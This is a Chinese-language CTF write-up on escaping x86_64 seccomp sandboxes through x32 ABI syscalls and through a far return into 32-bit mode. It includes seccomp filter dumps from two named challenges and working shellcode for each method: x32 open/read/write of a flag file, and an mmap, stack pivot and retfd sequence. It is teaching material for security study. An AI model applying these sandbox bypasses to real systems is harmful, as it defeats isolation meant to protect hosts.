利用x32ABI和32位模式的沙箱绕过

关于沙箱

沙箱是pwn题目中常见的、增加难度的手段。可以用seccomp()或prctl()设置规则过滤不符合要求的syscall,具体包括限制系统调用号(如禁用execve)、架构(如禁用32位模式)、系统调用参数的具体值(如要求read的fd小于3)等。

关于一道题目具体的限制,可以使用seccomp-tools查看。

关于绕过

由于pwn题目只需要读到flag,而不一定需要getshell,所以最常见的绕过方式是orw,即通过open, read, write的方式输出flag内容。除此之外,也可以使用openat, readv, writev的系统调用完成orw。

本文将探讨在x86_64架构下,当orw的系统调用均不可行时,利用系统对32位程序的支持,绕过沙箱的两种方法。

第一种方法:调用x32 ABI

x32 ABI

x32 ABI是ABI (Application Binary Interface),同样也是linux系统内核接口之一。x32 ABI允许在64位架构下(包括指令集、寄存器等)使用32位指针,从而避免64位指针造成的额外开销,提升程序性能。然而,除跑分、嵌入式场景外,x32 ABI的使用寥寥无几。前几年曾有过弃用x32 ABI的讨论,但其被最终决定保留,并在linux kernel中保留至今。

利用

利用方式

x32 ABI与64位下的系统调用方法几乎无异,只不过系统调用号都是不小于0x40000000,并且要求使用32位指针。

具体的调用表可以查看系统头文件中的/usr/src/linux-headers-$version-generic/arch/x86/include/generated/uapi/asm/unistd_x32.h

1
2
3
4
5
6
7
8
9
10
11
#ifndef _UAPI_ASM_UNISTD_X32_H
#define _UAPI_ASM_UNISTD_X32_H

#define __NR_read (__X32_SYSCALL_BIT + 0)
#define __NR_write (__X32_SYSCALL_BIT + 1)
#define __NR_open (__X32_SYSCALL_BIT + 2)
#define __NR_close (__X32_SYSCALL_BIT + 3)

//下略

#endif /* _UAPI_ASM_UNISTD_X32_H */

其中,__x32_SYSCALL_BIT为0x40000000,由头文件/usr/src/linux-headers-$version-generic/arch/x86/include/uapi/asm/unistd.h定义:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#ifndef _UAPI_ASM_X86_UNISTD_H
#define _UAPI_ASM_X86_UNISTD_H

/*
* x32 syscall flag bit. Some user programs expect syscall NR macros
* and __X32_SYSCALL_BIT to have type int, even though syscall numbers
* are, for practical purposes, unsigned long.
*
* Fortunately, expressions like (nr & ~__X32_SYSCALL_BIT) do the right
* thing regardless.
*/
#define __X32_SYSCALL_BIT 0x40000000

#ifndef __KERNEL__
# ifdef __i386__
# include <asm/unistd_32.h>
# elif defined(__ILP32__)
# include <asm/unistd_x32.h>
# else
# include <asm/unistd_64.h>
# endif
#endif

#endif /* _UAPI_ASM_X86_UNISTD_H */

利用条件

允许调用号不小于0x40000000的系统调用

例题

[TSCTF-J 2022] Easy Shellcode(非预期解)

程序文件

题目沙箱:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
 line  CODE  JT   JF      K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x14 0xc000003e if (A != ARCH_X86_64) goto 0022
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x15 0x00 0x01 0x0000003b if (A != execve) goto 0005
0004: 0x06 0x00 0x00 0x00000000 return KILL
0005: 0x15 0x00 0x01 0x00000002 if (A != open) goto 0007
0006: 0x06 0x00 0x00 0x00000000 return KILL
0007: 0x15 0x00 0x01 0x00000039 if (A != fork) goto 0009
0008: 0x06 0x00 0x00 0x00000000 return KILL
0009: 0x15 0x00 0x01 0x00000005 if (A != fstat) goto 0011
0010: 0x06 0x00 0x00 0x00000000 return KILL
0011: 0x15 0x00 0x01 0x00000000 if (A != read) goto 0013
0012: 0x06 0x00 0x00 0x00000000 return KILL
0013: 0x15 0x00 0x01 0x00000001 if (A != write) goto 0015
0014: 0x06 0x00 0x00 0x00000000 return KILL
0015: 0x15 0x00 0x01 0x0000000a if (A != mprotect) goto 0017
0016: 0x06 0x00 0x00 0x00000000 return KILL
0017: 0x15 0x00 0x01 0x00000025 if (A != alarm) goto 0019
0018: 0x06 0x00 0x00 0x00000000 return KILL
0019: 0x15 0x00 0x01 0x00000009 if (A != mmap) goto 0021
0020: 0x06 0x00 0x00 0x00000000 return KILL
0021: 0x15 0x00 0x01 0x00000101 if (A != openat) goto 0023
0022: 0x06 0x00 0x00 0x00000000 return KILL
0023: 0x06 0x00 0x00 0x7fff0000 return ALLOW

程序直接执行输入的shellcode,但在执行前会清空大多数通用寄存器。

思路:

因为没有限制sys_number<0x40000000,所以可以直接调用x32 abi,shellcode如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
lea rax,[rip]
add rax,0x200
mov rsp,rax ; 因为rsp被清空,先将栈迁移至可读写位置

mov eax,0x67616c66 ; 'flag'
push rax
mov rdi,rsp
xor rsi,rsi
mov rax,0x40000002 ; open
syscall

mov rdi,rax
mov rax,rsp
add rax,0x100
mov rsi,rax
mov rdx,0x40
mov rax,0x40000000 ; read
syscall

mov edi,2
mov rax,0x40000001 ; write
syscall

第二种方法:使用32位模式

32位模式

32位模式即64位系统下运行32位程序的模式,此时CS寄存器的值为0x23。在该模式下,程序与在32位系统中运行几乎无异,即只能使用32位寄存器,所有指针必须为32位,指令集为32位指令集等。

与之相对地,64位模式对应的CS寄存器的值为0x33。

进入32位模式

进入32位模式需要更改CS寄存器为0x23。retf (far return) 指令可以帮助我们做到这一点。retf指令相当于:

1
2
pop ip
pop cs

需要注意的是,在使用pwntools构造shellcode时,需要指定retf的地址长度,即可以使用retfd和retfq。

利用

利用方式

因为进入32位模式后,sp, ip寄存器也会变成32位,所以需要将栈迁移至32位地址上;利用或构造32位地址的RWX内存段,写入32位shellcode;最后在栈上构造fake ip, cs,执行retf指令。

利用条件

  • 沙箱中不包含对arch==ARCH_x86_64的检测
  • 存在或可构造32位地址的RWX内存段

其中,构造RWX内存段可使用mmap申请新的内存,或使用mprotect使已有的段变为RWX权限。

例题

[CrossCTF Quals 2018] Impossible Shellcoding

程序文件

题目沙箱:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
 line  CODE  JT   JF      K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x00 0xc000003e /* no-op */
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x0c 0x00 0x40000000 if (A >= 0x40000000) goto 0016
0004: 0x15 0x0b 0x00 0x00000002 if (A == open) goto 0016
0005: 0x15 0x0a 0x00 0x00000101 if (A == openat) goto 0016
0006: 0x15 0x09 0x00 0x00000055 if (A == creat) goto 0016
0007: 0x15 0x08 0x00 0x0000003b if (A == execve) goto 0016
0008: 0x15 0x07 0x00 0x00000039 if (A == fork) goto 0016
0009: 0x15 0x06 0x00 0x0000003a if (A == vfork) goto 0016
0010: 0x15 0x05 0x00 0x00000142 if (A == execveat) goto 0016
0011: 0x15 0x04 0x00 0x00000038 if (A == clone) goto 0016
0012: 0x15 0x03 0x00 0x00000065 if (A == ptrace) goto 0016
0013: 0x15 0x02 0x00 0x0000009d if (A == prctl) goto 0016
0014: 0x15 0x01 0x00 0x0000009e if (A == arch_prctl) goto 0016
0015: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0016: 0x06 0x00 0x00 0x00000000 return KILL

思路:

程序没有限制arch,所以先mmap一段内存空间,迁移栈,再读入32位shellcode,最后转为32位模式:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
xor rax, rax
mov al, 9
mov rdi, 0x602000
mov rsi, 0x1000
mov rdx, 7
mov r10, 0x32
mov r8, 0xffffffff
mov r9, 0
syscall ; mmap for new stack

mov rax, 0
xor rdi, rdi
mov rsi, 0x602190
mov rdx, 100
syscall ; read x86 shellcode

xor rsp, rsp
mov esp, 0x602160
mov DWORD PTR [esp+4], 0x23 ; set CS register
mov DWORD PTR [esp], 0x602190 ; set new eip
retfd

参考资料

https://en.wikipedia.org/wiki/X32_ABI

https://www.anquanke.com/post/id/219077

https://osilayer8.makerforce.io/crossctf-quals2018/pwn/impossible_shellcoding/

http://p4nda.top/2018/07/27/CISCN-Final/

https://a1ex.online/2020/09/27/seccomp%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/

https://blog.wingszeng.top/pwn-shellcode-and-syscall/

https://www.malwaretech.com/2014/02/the-0x33-segment-selector-heavens-gate.html